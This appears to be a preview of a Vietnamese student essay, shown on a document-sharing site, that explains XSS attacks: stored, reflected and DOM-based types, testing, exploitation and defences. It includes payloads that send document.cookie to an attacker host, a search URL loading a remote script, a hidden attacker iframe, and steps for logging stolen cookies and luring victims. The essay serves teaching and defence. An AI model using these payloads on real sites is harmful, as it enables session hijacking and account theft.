1. Trang chủ
  2. » Công Nghệ Thông Tin

Kỹ thuật tấn công XSS

27 306 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 1,95 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Tiểu luận Kỹ thuật tấn công XSS cách thức tấn công và giải pháp phòng thủ, kỹ thuật tấn công xss cơ bản và nâng cao.XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau: 1. Thay đổi cấu trúc của toàn bộ trang web 2. Tạo tùy ý các phần tử HTML 3. Định tuyến lại các hình thức liên kết 4. Phục hồi dữ liệu, xác thực

Trang 1

MỤC LỤC

I Một số điều cần biết 2

II Giới thiệu về XSS 3

1 Tìm hiểu về XSS 3

2 Các hình thức tồn tại của XSS 3

1 Stored XSS 3

2 Reflected XSS 5

3 DOM Based XSS 7

3 Một số ví dụ về các cuộc tấn công XSS 11

4 Mức độ nguy hiểm của XSS 11

5 Mục đích của tấn công XSS 12

III Hoạt động của tấn công XSS 13

IV Kiểm tra lỗi XSS 15

V Khai thác lỗi XSS 17

1 Các bước thực hiện 18

2 Các cách thực hiện khai thác lỗi XSS 18

1) Lấy cookie 18

2) Lấy account 19

3 Kẻ tấn công dùng XSS để lừa đảo 20

4 Cách vượt cơ chế lọc 21

VI Phòng chống XSS 22

1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 22

2 Với người dùng 23

VII Đánh giá 26

Trang 2

TẤN CÔNG XSS

I. Một số điều cần biết

Website ngày nay thường là các website động(website động là nhữngwebsite có hệ thống quản lý nội dung và người dùng có thể chỉnh sửa nộidung được).Và hầu hết các website này dùng cookie để xác thực người dùng

HTML (HyperText Markup Language) có nghĩa là ngôn ngữ đánh dấu siêu văn bản.Nó dùng để định dạng bố cục, các thuộc tính liên quan đến cách

hiển thị của một đoạn text và được hiển thị trên một chương trình đặc biệc tagọi là Browser

Javascript là một ngôn ngữ lập trình kịch bản dựa vào đối tượng phát triển

có sẵn hoặc tự định nghĩa ra, javascript được sử dụng rộng rãi trong các ứngdụng Website Javascript được hỗ trợ hầu như trên tất cả các trình duyệt nhưFirefox, Chrome, thậm chí các trình duyệt trên thiết bị di động cũng có hỗtrợ

Cookie là một đoạn văn bản ghi thông tin được tạo ra và lưu trên trìnhduyệt của máy người dùng Cookie thường được tạo ra khi người dùng truycập một website, cookie sẽ ghi nhớ những thông tin như tên đăng nhâp, mậtkhẩu, các lựa chọn do người dùng lựa chọn đi kèm Các thông tin này lưutrong máy tính thường được dùng để nhận ra người dùng khi ghé thămmột trang web

XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng

có thể làm được những công việc sau:

1 Thay đổi cấu trúc của toàn bộ trang web

2 Tạo tùy ý các phần tử HTML

3 Định tuyến lại các hình thức liên kết

4 Phục hồi dữ liệu, xác thực

Trang 3

Tấn công XSS không nhằm vào server,chủ yếu tấn công vào client (user)(kiến thức kém, tò mò, an ninh lỏng lẻo) bằng cách dụ nạn nhân click vào cácurl kích hoạt mã độc và nó sẽ thực thi trên trình duyệt của nạn nhân

2 Các hình thức tồn tại của XSS

1 Stored XSS

Tấn công kiểu stored XSS cho phép kẻ tấn công chèn một đoạn script(Javascript) vào website thông qua một chức năng nào đó (vd: cmt,guestbook, gởi bài ), khi các thành viên khác truy cập website sẽ bị dính mãđộc từ kẻ tấn công này và các mã độc này thường được lưu lại trong databasecủa website nên gọi là Stored

Stored XSS được phát sinh do không lọc dữ liệu do thành viên gởi lên mộtcách đúng đắn,từ đó gây ra hậu quả nặng nề

Trang 4

Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện cácthao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ đượcthực thi trên trình duyệt người dùng

Đến đây hacker coi như đã đạt được mục đích của mình

Trang 5

2 Reflected XSS

Reflected XSS xuất hiện khi dữ liệu được cung cấp từ một web client nào đó.Đầu tiên là sẽ phải tìm ra lỗ hổng bảo mật trên website bằng cách gắn một mã test vào web client để web client gửi đến server và chờ phản hồi của web server để tìm ra lỗ hổng bảo mật

Reflected XSS xảy ra do không chú ý filter input (lọc sữ liệu đầu vào) từ URL của website

Trang 6

Có đến 75% kỹ thuật XSS dựa trên Reflected XSS.Gọi là reflected(phản xạ) bởi

vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript) Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây) Ngoài ra nó còn được biết đến với tên gọi first-order XSS.

2 Tại web bằng cách nào đó,hacker gửi cho người dùng URL:

Valnerable.site:Giả sử là web mà người dùng truy cập

Hacker-site.net:Giả sử là web mà hacker tạo ra

http:// vulnerable.site /name=<script>var+i=new+Image;+i.src=”http:// hacker-site.net/”%2bdocument.cookie;</script>

3 Nạn nhân truy cập đến URL trên

Trang 7

4 Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạnjavascript của hacker)

5 Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

6 Đoạn javascript mà hacker tạo ra thực tế như sau:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số làcookie người dùng:

Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công

Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhântruy cập vào URL của mình Còn Stored XSS không cần phải thực hiện việcnày, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉviệc ngồi chờ nạn nhân tự động truy cập vào Với nạn nhân, việc này là hoàntoàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễmđộc

Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểmtấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web VớiReflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồitruy cập đến URL mà hắn ta cung cấp để thực thi mã độc Nhưng Stored XSSthì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào ngườidùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiềukhả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nênhiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc

3. DOM Based XSS

DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ranhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML,XML Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp Tất cả

Trang 8

các thành phần trong HTML, XML đều được xem như một node.Và nó là mộtdạng tấn công XSS làm thay đổi cấu trúc của trang web bằng cách thay đổicấu trúc HTML

Hacker sẽ chèn các đoạn script nhằm làm thay đổi giao diện mặc định củatrang web thành một giao diện giả.khi người dùng vào web giả thì hacker sẽthu được mật khẩu người dùng

Ví dụ:

Một website có URL đến trang đăng ký như sau:

http://example.com/register.php?message=Please fill in the form

Khi truy cập đến thì chúng ta thấy một Form rất bình thường

Nguồn code của form

Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra Từ việckiểm tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập cácURL nguy hiểm

Thay vì truyền

message=Please fill in the form

Trang 9

Khi đấy Form đăng ký sẽ trở thành thế này

Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này,

và khi lựa chọn giới tính, Script sẽ được thực thi

Trang 10

Từ ví dụ cho ta thấy

Thứ 1, mã độc đã được thực thi ngay khi click vào giá trị trong thẻ select,tức là được thực thi ngay ở phía client mà không cần thông qua respond củaserver

Thứ 2, cấu trúc HTML đã bị thay đổi với script truyền vào Và cũng cóthể thấy kịch bản khai thác thực tế, DOM Based có phần giống với Reflectedhơn là Stored XSS khi phải lừa người dùng truy cập vào một URL đã nhúng

mã độc

Hình 3.1:Kịch bản khai thác DOM Based XSS

Kịch bản:

Trang 11

1 Người dùng đăng nhập vào trang web

2 Những kẻ tấn công hàng thủ một URL có chứa một chuỗi độc hại và gửi nóđến các nạn nhân

3 Các nạn nhân đã bị đánh lừa bởi những kẻ tấn công vào yêu cầu URL từtrang web

4 Các trang web nhận được yêu cầu, nhưng không bao gồm các chuỗi độc hạitrong các phản ứng

5 Trình duyệt của nạn nhân thực thi kịch bản hợp pháp bên trong phản ứng,gây ra các script độc hại sẽ được chèn vào trang

6 Trình duyệt của nạn nhân thực thi kịch bản độc hại chèn vào trang, gửi cáctập tin cookie của nạn nhân để máy chủ của hacker

7. Hacker chiếm được session của nạn nhân và hacker có thể giả mạo với tưcách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có

3 Một số ví dụ về các cuộc tấn công XSS

- Hai lỗ hổng XSS trong trang web Google.com đã được xác định và công bốbởi Yair Amit trong Tháng Mười Hai năm 2005 Các lỗ hổng cho phép kẻtấn công để mạo danh các thành viên hợp pháp của các dịch vụ của Googlehoặc để gắn kết một cuộc tấn công lừa đảo

- Netcraft công bố vào tháng 6 , năm 2006 là một lỗ hổng bảo mật trongcác PayPal ,trang web đang được tích cực khai thác bởi những kẻ lừa đảo để

ăn cắp số thẻ tín dụng và thông tin cá nhân khác thuộc về PayPal người sửdụng Vấn đề này đã được báo cáo Netcraft qua của mình chống lừa đảo trênthanh công cụ Ngay sau đó, Paypal thông báo rằng "một sự thay đổi trongmột số mã" trên trang web của Paypal đã loại bỏ các lỗ hổng

- Vào tháng 4 năm 2005,Samy kamkar đã đã tạo ra Samy(con sâu XSS)truyền bá qua MySpace.Chỉ trong 20 giờ lây lan,hơn 1 triệu người dùng đãnhiễm Samy và bị lộ thông tin cá nhân trên MySpace

4 Mức độ nguy hiểm của XSS

Công ty bảo mật Web Cenzic phát hành một báo cáo chi tiết các xu hướng vàcác con số liên quan đến an ninh Web cho quý đầu tiên và thứ hai của năm

2009 cho thấy rõ qua biểu đồ sau:

Trang 12

Keylogging: hacker có thể ghi lại những thao tác gõ phím của người dùngbằng cách sử dụng sự kiện trong Javascript và gửi tất cả những thao tác gõphím đó về cho hắn để thực hiện những mục đích như đánh cắp các thông tinnhạy cảm, lấy mật khẩu truy cập website hoặc mã số thẻ tín dụng

Phishing: hacker có thể thay đổi giao diện của website bằng cách thay đổicấu trúc HTML trong trang web để đánh lừa người dùng Hacker có thể tạo ra

Trang 13

những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắpmật khẩu.

Ví dụ cụ thể:

 Truy cập thông tin nhạy cảm hoặc bị hạn chế

 Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)

 Theo dõi thói quen lướt web của người dùng

 Thay đổi năng của trình duyệt

 Bôi nhọ danh tiếng của một cá nhân hay công ty

 Hủy hoại ứng dụng Web

 Tấn công từ chối dịch vụ

III Hoạt động của tấn công XSS

XSS cho phép chèn các đoạn mã vào link của đường dẫn, để thực thi trêntrình duyệt của người dùng Thường thì XSS có dạng như sau:

http://www.web.vn//index.php?pg=news&cat=<script>alert(“Lỗi

XSS”)</script>

Trang 14

Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là:

“Lỗi XSS”

Về cơ bản XSS cũng giống như SQL Injection hay Source Injection,nócũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chènvào đó các thông tin vượt quá tầm kiểm soát của server

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn

có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tínhsrc của thẻ script

XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởitrình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống websitenằm trên server

Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên người dùng khó mà phát hiện ra Sau đây là cách mã hoá(HEX) các kí

tự thường dùng trong lỗi XSS của thanh AddressBar của Browser

Trang 15

IV Kiểm tra lỗi XSS

Nếu dùng các web với source có sẵn, tham khảo danh sách các lỗ hổng trêncác trang web chứa các thông tin về bảo mật như securityfocus.com,securiteam.com

Nếu dùng web tự phát triển thì cỏ thể dùng tool scanner

1. Dùng tool: Paros Proxy, WebInspect, Acunetix Web Vulnerability

Scanner Watchfire AppScan…

2 Thử bằng code

Trang 16

Ví dụ:

1 Đầu tiên chúng ta mở một trang web muốn kiểm tra

2 Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin

đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ

"Mask_NBTA" chẳng hạn hay chữ gì cũng được

3. Tiếp đó là chèn câu lệnh vào:<script>alert(“Loi XSS”)</script>

ở đây,trong dấu ngoặc ( ) chúng ta có thể điển chữ tùy thích

Và kết quả là:Nó sẽ đưa ra thông báo “loi XSS”

Thì website đó đã bị lỗi XSS

Trang 17

Ta có thể nhập vào form lỗi các thẻ sau:

Dưới đây là mô hình khai thác XSS truyền thống:

Trang 18

1 Các bước thực hiện

1) Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ

hổng XSS

2) Người dùng nhận được 1 liên kết thông qua email hay trên chính trang

Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chínhhacker tạo ra…).Thông thường hacker khiến người dùng chú ý bằngnhững câu kích thích sự tò mò của người dùng như “ Kiểm tra tàikhoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…

3) Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ

của hacker

4) Hacker tạo một chương trình cgi hoặc một trang Web để ghi nhận

những thông tin đã đánh cắp vào 1 tập tin

5) Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng

2 Các cách thực hiện khai thác lỗi XSS

1) Lấy cookie

Đầu tiên tạo một file log.txt và upload lên host của mình.file này trống vàtạo file cookie.asp hoặc cookie.php có nội dung sau và upload filenày lên host như sau:

Trang 19

Sau đó Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặcwebsite (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo hoặcbằng lời chào gây chú ý có hostname là trang web bị nhiễm XSS:

Sau đó Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý(có hostname là của trang web bị nhiễm XSS) Khi đó tạo một link dạngnhư sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname

ta thêm thẻ Script vào)

Trang 20

http:// hostxss.com /search.php?s="> <script

src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>

Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site):Người dùng không phát hiện ra và khi đăng nhập thì cookie hay usename vàpassword sẽ được lưu lại trong file info.txt trên server của hacker và thế là

kẻ tấn công đã có được tài khoản của nạn nhân

3 Kẻ tấn công dùng XSS để lừa đảo

Ngoài việc lấy cookies, các kẻ tấn công còn có thể hướng trình duyệt củangười dùng đến trang web mà Attacker thiết kế sẵn Sau khi kẻ tấn công đã cóthông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:

<iframe src='http://www.attacker.com' width='1' height='1' style='visibility;

Trang 21

VI Phòng chống XSS

Như ta đã biết một tấn công XSS chỉ thực hiện được khi gửi một trangweb cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấncông

Và mức độ nguy hiểm của tấn công XSS rất nguy hiểm và khó lường hết được sự nguy hiểm của nó nhưng không quá khó khăn để ngăn ngừa XSS.Có rất nhiều cách

để khắc phục lỗi XSS như:

Trang 22

1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web

Những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển ứngdụng Web cần phải thực hiện vài bước cơ bản sau:

- Chỉ chấp nhận những dữ liệu hợp lệ

- Từ chối nhận các dữ liệu hỏng

- Liên tục kiểm tra và thanh lọc dữ liệu

- Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ

<script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script

đó như là một đoạn trích dẫn thôi

Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động

sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mãcủa nó.Nói chung, việc mã hóa(encoding) được khuyến khích sử dụng vì

nó không yêu cầu bạn phải đưa ra quyết định những kí tự nào là hợp lệhoặc không hợp lệ.Tuy nhiên việc mã hóa tất cả dữ liệu không đáng tincậy có thể tốn tài nguyên và ảnh hưởng đến khả năng thực thi của một sốmáy chủ

- Ngoài ra có thể dùng các AppShield để tìm ra lỗ hổng XSS,AppShield kiểm tra tất cả yêu cầu mới, AppShield kiểm tra tham biến

Ngày đăng: 05/12/2017, 10:24

TỪ KHÓA LIÊN QUAN

w